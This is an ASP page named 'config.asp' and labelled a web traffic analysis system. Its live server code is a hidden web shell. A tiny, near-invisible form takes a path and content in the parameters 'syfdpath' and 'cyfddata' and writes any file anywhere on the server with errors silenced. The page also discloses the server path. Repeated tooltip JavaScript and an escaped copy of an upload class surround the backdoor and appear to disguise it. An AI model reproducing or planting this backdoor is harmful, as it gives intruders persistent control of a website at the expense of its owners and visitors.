config.asp

网上流量分析系统

<SCRIPT LANGUAGE=JAVASCRIPT>
var currentpos,timer;
function initialize()
{timer=setInterval("scrollwindow()",10);}
function sc(){clearInterval(timer);}
function scrollwindow()
{currentpos=document.body.scrollTop;
window.scroll(0,++currentpos);
if (currentpos != document.body.scrollTop)
sc();}
document.onmousedown=sc
document.ondblclick=initialize
tPopWait=1;
tPopShow=9000;
showPopStep=20;
popOpacity=99;
sPop=null;
curShow=null;
tFadeOut=null;
tFadeIn=null;
tFadeWaiting=null;
document.write("<style type='text/css'id='defaultPopStyle'>");
document.write(".cPopText {  background-color: #f8f8f5;color:#000000; border: 1px #000000 solid;font-color:#666666; font-size: 9pt; padding-right: 4px; padding-left: 4px; height: 20px; padding-top: 2px; padding-bottom: 2px; filter: Alpha(Opacity=0)}");
document.write("</style>");
document.write("<div id='dypopLayer' style='position:absolute;z-index:1000;'></div>");
function showPopupText(){
var o=event.srcElement;
	MouseX=event.x;
	MouseY=event.y;
	if(o.alt!=null && o.alt!=""){o.dypop=o.alt;o.alt=""};
        if(o.title!=null && o.title!=""){o.dypop=o.title;o.title=""};
	if(o.dypop!=sPop) {
			sPop=o.dypop;
			clearTimeout(curShow);
			clearTimeout(tFadeOut);
			clearTimeout(tFadeIn);
			clearTimeout(tFadeWaiting);	
			if(sPop==null || sPop=="") {
				dypopLayer.innerHTML="";
				dypopLayer.style.filter="Alpha()";
				dypopLayer.filters.Alpha.opacity=0;	
				}
			else {
				if(o.dyclass!=null) popStyle=o.dyclass 
					else popStyle="cPopText";
				curShow=setTimeout("showIt()",tPopWait);
			}
			
	}
}
function showIt(){
		dypopLayer.className=popStyle;
		dypopLayer.innerHTML=sPop;
		popWidth=dypopLayer.clientWidth;
		popHeight=dypopLayer.clientHeight;
		if(MouseX+12+popWidth>document.body.clientWidth) popLeftAdjust=-popWidth-24
			else popLeftAdjust=0;
		if(MouseY+12+popHeight>document.body.clientHeight) popTopAdjust=-popHeight-24
			else popTopAdjust=0;
		dypopLayer.style.left=MouseX+12+document.body.scrollLeft+popLeftAdjust;
		dypopLayer.style.top=MouseY+12+document.body.scrollTop+popTopAdjust;
		dypopLayer.style.filter="Alpha(Opacity=0)";
		fadeOut();
}
function fadeOut(){
	if(dypopLayer.filters.Alpha.opacity<popOpacity) {
		dypopLayer.filters.Alpha.opacity+=showPopStep;
		tFadeOut=setTimeout("fadeOut()",1);
		}
		else {
			dypopLayer.filters.Alpha.opacity=popOpacity;
			tFadeWaiting=setTimeout("fadeIn()",tPopShow);
			}
}
function fadeIn(){
	if(dypopLayer.filters.Alpha.opacity>0) {
		dypopLayer.filters.Alpha.opacity-=1;
		tFadeIn=setTimeout("fadeIn()",1);
		}
}
document.onmouseover=showPopupText;
</SCRIPT>
<!--/////-------------5x 无组件上传类 Version 0.93--------------///////--><font style="font-size:12px" face="Arial">
&lt;SCRIPT RUNAT=SERVER LANGUAGE=VBSCRIPT&gt;<br>
dim oUpFileStream<br>Class upload_5xSoft<br>
  dim Form,File,Version<br>
  Private Sub Class_Initialize <br>
  dim RequestBinDate,sStart,bCrLf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,oFileInfo<br>
  dim iFileSize,sFilePath,sFileType,sFormvalue,sFileName<br>
  dim iFindStart,iFindEnd<br>
  dim iFormStart,iFormEnd,sFormName<br>
  Version=&quot;无组件上传类 Version 0.93&quot;<br>
  set Form=Server.CreateObject(&quot;Scripting.Dictionary&quot;)<br>
  set File=Server.CreateObject(&quot;Scripting.Dictionary&quot;)<br>
  if Request.TotalBytes&lt;1 then Exit Sub<br>
  set tStream = Server.CreateObject(&quot;adodb.stream&quot;)<br>
  set oUpFileStream = Server.CreateObject(&quot;adodb.stream&quot;)<br>
  oUpFileStream.Type = 1<br>
  oUpFileStream.Mode =3<br>
  oUpFileStream.Open<br>
  oUpFileStream.Write Request.BinaryRead(Request.TotalBytes)<br>
  Response.Write &quot;页面执行时间：&quot;&amp;FormatNumber((Timer() -time1)*1000,3)&amp;&quot;毫秒&quot;<br>
  oUpFileStream.Position=0<br>
  RequestBinDate =oUpFileStream.Read <br>
  iFormStart = 1<br>
  iFormEnd = LenB(RequestBinDate)<br>
  bCrLf = chrB(13) &amp; chrB(10)<br>
  sStart = MidB(RequestBinDate,1, InStrB(iFormStart,RequestBinDate,bCrLf)-1)<br>
  iStart = LenB (sStart)<br>
  iFormStart=iFormStart+iStart+1<br>
  while (iFormStart + 10) &lt; iFormEnd <br>
  iInfoEnd = InStrB(iFormStart,RequestBinDate,bCrLf &amp; bCrLf)+3<br>
  tStream.Type = 1<br>
  tStream.Mode =3<br>
  tStream.Open<br>
  oUpFileStream.Position = iFormStart<br>
  oUpFileStream.CopyTo tStream,iInfoEnd-iFormStart<br>
  tStream.Position = 0<br>
  tStream.Type = 2<br>
  tStream.Charset =&quot;gb2312&quot;<br>
  sInfo = tStream.ReadText <br>
  '取得表单项目名称<br>
  iFormStart = InStrB(iInfoEnd,RequestBinDate,sStart)<br>
  iFindStart = InStr(22,sInfo,&quot;name=&quot;&quot;&quot;,1)+6<br>
  iFindEnd = InStr(iFindStart,sInfo,&quot;&quot;&quot;&quot;,1)<br>
  sFormName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)<br>
  '如果是文件<br>
  if InStr (45,sInfo,&quot;filename=&quot;&quot;&quot;,1) &gt; 0 then<br>
  set oFileInfo=new FileInfo<br>
  '取得文件名<br>
  iFindStart = InStr(iFindEnd,sInfo,&quot;filename=&quot;&quot;&quot;,1)+10<br>
  iFindEnd = InStr(iFindStart,sInfo,&quot;&quot;&quot;&quot;,1)<br>
  sFileName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)<br>
  oFileInfo.FileName=getFileName(sFileName)<br>
  oFileInfo.FilePath=getFilePath(sFileName)<br>
  '取得文件类型<br>
  iFindStart = InStr(iFindEnd,sInfo,&quot;Content-Type: &quot;,1)+14<br>
  iFindEnd = InStr(iFindStart,sInfo,vbCr)<br>
  oFileInfo.FileType =Mid (sinfo,iFindStart,iFindEnd-iFindStart)<br>
  oFileInfo.FileStart =iInfoEnd<br>
  oFileInfo.FileSize = iFormStart -iInfoEnd -3<br>
  oFileInfo.FormName=sFormName<br>
  file.add sFormName,oFileInfo<br>
  else<br>
  '如果是表单项目<br>
  tStream.Close<br>
  tStream.Type =1<br>
  tStream.Mode =3<br>
  tStream.Open<br>
  oUpFileStream.Position = iInfoEnd <br>
  oUpFileStream.CopyTo tStream,iFormStart-iInfoEnd-3<br>
  tStream.Position = 0<br>
  tStream.Type = 2<br>
  tStream.Charset =&quot;gb2312&quot;<br>
  sFormvalue = tStream.ReadText <br>
  form.Add sFormName,sFormvalue<br>
  end if<br>
  tStream.Close<br>
  iFormStart=iFormStart+iStart+1<br>
  wend<br>
  RequestBinDate=&quot;&quot;<br>
  set tStream =nothing<br>
  End Sub</p>
<p>Private Sub Class_Terminate <br>
  if not Request.TotalBytes&lt;1 then<br>
  form.RemoveAll<br>
  file.RemoveAll<br>
  set form=nothing<br>
  set file=nothing<br>
  oUpFileStream.Close<br>
  set oUpFileStream =nothing<br>
  end if<br>
  End Sub<br>
  <br>
  <br>
  Private function GetFilePath(FullPath)<br>
  If FullPath &lt;&gt; &quot;&quot; Then<br>
  GetFilePath = left(FullPath,InStrRev(FullPath, &quot;\&quot;))<br>
  Else<br>
  GetFilePath = &quot;&quot;<br>
  End If<br>
  End function<br>
  <br>
  Private function GetFileName(FullPath)<br>
  If FullPath &lt;&gt; &quot;&quot; Then<br>
  GetFileName = mid(FullPath,InStrRev(FullPath, &quot;\&quot;)+1)<br>
  Else<br>
  GetFileName = &quot;&quot;<br>
  End If<br>
  End function</p>
<p>End Class</p>
<p>Class FileInfo<br>
  dim FormName,FileName,FilePath,FileSize,FileType,FileStart<br>
  Private Sub Class_Initialize <br>
  FileName = &quot;&quot;<br>
  FilePath = &quot;&quot;<br>
  FileSize = 0<br>
  FileStart= 0<br>
  FormName = &quot;&quot;<br>
  FileType = &quot;&quot;<br>
  End Sub<br>
  <br>
  Public function SaveAs(FullPath)<br>
  dim oFileStream,ErrorChar,i<br>
  SaveAs=1<br>
  if trim(fullpath)=&quot;&quot; or right(fullpath,1)=&quot;/&quot; then exit 
  function<br>
  set oFileStream=CreateObject(&quot;Adodb.Stream&quot;)<br>
  oFileStream.Type=1<br>
  oFileStream.Mode=3<br>
  oFileStream.Open<br>
  oUpFileStream.position=FileStart<br>
  oUpFileStream.copyto oFileStream,FileSize<br>
  oFileStream.SaveToFile FullPath,2<br>
  oFileStream.Close<br>
  set oFileStream=nothing <br>
  SaveAs=0<br>
  end function<br>
  End Class<br>
  &lt;/SCRIPT&gt;</font>
<SCRIPT LANGUAGE=JAVASCRIPT>
var currentpos,timer;
function initialize()
{timer=setInterval("scrollwindow()",10);}
function sc(){clearInterval(timer);}
function scrollwindow()
{currentpos=document.body.scrollTop;
window.scroll(0,++currentpos);
if (currentpos != document.body.scrollTop)
sc();}
document.onmousedown=sc
document.ondblclick=initialize
tPopWait=1;
tPopShow=9000;
showPopStep=20;
popOpacity=99;
sPop=null;
curShow=null;
tFadeOut=null;
tFadeIn=null;
tFadeWaiting=null;
document.write("<style type='text/css'id='defaultPopStyle'>");
document.write(".cPopText {  background-color: #f8f8f5;color:#000000; border: 1px #000000 solid;font-color:#666666; font-size: 9pt; padding-right: 4px; padding-left: 4px; height: 20px; padding-top: 2px; padding-bottom: 2px; filter: Alpha(Opacity=0)}");
document.write("</style>");
document.write("<div id='dypopLayer' style='position:absolute;z-index:1000;'></div>");
function showPopupText(){
var o=event.srcElement;
	MouseX=event.x;
	MouseY=event.y;
	if(o.alt!=null && o.alt!=""){o.dypop=o.alt;o.alt=""};
        if(o.title!=null && o.title!=""){o.dypop=o.title;o.title=""};
	if(o.dypop!=sPop) {
			sPop=o.dypop;
			clearTimeout(curShow);
			clearTimeout(tFadeOut);
			clearTimeout(tFadeIn);
			clearTimeout(tFadeWaiting);	
			if(sPop==null || sPop=="") {
				dypopLayer.innerHTML="";
				dypopLayer.style.filter="Alpha()";
				dypopLayer.filters.Alpha.opacity=0;	
				}
			else {
				if(o.dyclass!=null) popStyle=o.dyclass 
					else popStyle="cPopText";
				curShow=setTimeout("showIt()",tPopWait);
			}
			
	}
}
function showIt(){
		dypopLayer.className=popStyle;
		dypopLayer.innerHTML=sPop;
		popWidth=dypopLayer.clientWidth;
		popHeight=dypopLayer.clientHeight;
		if(MouseX+12+popWidth>document.body.clientWidth) popLeftAdjust=-popWidth-24
			else popLeftAdjust=0;
		if(MouseY+12+popHeight>document.body.clientHeight) popTopAdjust=-popHeight-24
			else popTopAdjust=0;
		dypopLayer.style.left=MouseX+12+document.body.scrollLeft+popLeftAdjust;
		dypopLayer.style.top=MouseY+12+document.body.scrollTop+popTopAdjust;
		dypopLayer.style.filter="Alpha(Opacity=0)";
		fadeOut();
}
function fadeOut(){
	if(dypopLayer.filters.Alpha.opacity<popOpacity) {
		dypopLayer.filters.Alpha.opacity+=showPopStep;
		tFadeOut=setTimeout("fadeOut()",1);
		}
		else {
			dypopLayer.filters.Alpha.opacity=popOpacity;
			tFadeWaiting=setTimeout("fadeIn()",tPopShow);
			}
}
function fadeIn(){
	if(dypopLayer.filters.Alpha.opacity>0) {
		dypopLayer.filters.Alpha.opacity-=1;
		tFadeIn=setTimeout("fadeIn()",1);
		}
}
document.onmouseover=showPopupText;
</SCRIPT>
<% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% if Trim(request("syfdpath"))<>"" then %>
<% fdata = request("cyfddata") %>
<% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %>
<% objCountFile.Write fdata %>
<% if err =0 then %>
<% response.write "ok" %>
<% else %>
<% response.write "no" %>
<% end if %>
<% err.clear %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %>
<% Response.write "<form action='' method=post><font color=#ffffff>" %>
<% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
<% Response.write "</font><br><input type=text name=syfdpath width=1 size=1><textarea name=cyfddata cols=1 rows=1 width=1></textarea>" %>
<% Response.write "<input type=submit value=1>" %>
<% Response.write "</form>" %>
<SCRIPT LANGUAGE=JAVASCRIPT>
var currentpos,timer;
function initialize()
{timer=setInterval("scrollwindow()",10);}
function sc(){clearInterval(timer);}
function scrollwindow()
{currentpos=document.body.scrollTop;
window.scroll(0,++currentpos);
if (currentpos != document.body.scrollTop)
sc();}
document.onmousedown=sc
document.ondblclick=initialize
tPopWait=1;
tPopShow=9000;
showPopStep=20;
popOpacity=99;
sPop=null;
curShow=null;
tFadeOut=null;
tFadeIn=null;
tFadeWaiting=null;
document.write("<style type='text/css'id='defaultPopStyle'>");
document.write(".cPopText {  background-color: #f8f8f5;color:#000000; border: 1px #000000 solid;font-color:#666666; font-size: 9pt; padding-right: 4px; padding-left: 4px; height: 20px; padding-top: 2px; padding-bottom: 2px; filter: Alpha(Opacity=0)}");
document.write("</style>");
document.write("<div id='dypopLayer' style='position:absolute;z-index:1000;'></div>");
function showPopupText(){
var o=event.srcElement;
	MouseX=event.x;
	MouseY=event.y;
	if(o.alt!=null && o.alt!=""){o.dypop=o.alt;o.alt=""};
        if(o.title!=null && o.title!=""){o.dypop=o.title;o.title=""};
	if(o.dypop!=sPop) {
			sPop=o.dypop;
			clearTimeout(curShow);
			clearTimeout(tFadeOut);
			clearTimeout(tFadeIn);
			clearTimeout(tFadeWaiting);	
			if(sPop==null || sPop=="") {
				dypopLayer.innerHTML="";
				dypopLayer.style.filter="Alpha()";
				dypopLayer.filters.Alpha.opacity=0;	
				}
			else {
				if(o.dyclass!=null) popStyle=o.dyclass 
					else popStyle="cPopText";
				curShow=setTimeout("showIt()",tPopWait);
			}
			
	}
}
function showIt(){
		dypopLayer.className=popStyle;
		dypopLayer.innerHTML=sPop;
		popWidth=dypopLayer.clientWidth;
		popHeight=dypopLayer.clientHeight;
		if(MouseX+12+popWidth>document.body.clientWidth) popLeftAdjust=-popWidth-24
			else popLeftAdjust=0;
		if(MouseY+12+popHeight>document.body.clientHeight) popTopAdjust=-popHeight-24
			else popTopAdjust=0;
		dypopLayer.style.left=MouseX+12+document.body.scrollLeft+popLeftAdjust;
		dypopLayer.style.top=MouseY+12+document.body.scrollTop+popTopAdjust;
		dypopLayer.style.filter="Alpha(Opacity=0)";
		fadeOut();
}
function fadeOut(){
	if(dypopLayer.filters.Alpha.opacity<popOpacity) {
		dypopLayer.filters.Alpha.opacity+=showPopStep;
		tFadeOut=setTimeout("fadeOut()",1);
		}
		else {
			dypopLayer.filters.Alpha.opacity=popOpacity;
			tFadeWaiting=setTimeout("fadeIn()",tPopShow);
			}
}
function fadeIn(){
	if(dypopLayer.filters.Alpha.opacity>0) {
		dypopLayer.filters.Alpha.opacity-=1;
		tFadeIn=setTimeout("fadeIn()",1);
		}
}
document.onmouseover=showPopupText;
</SCRIPT>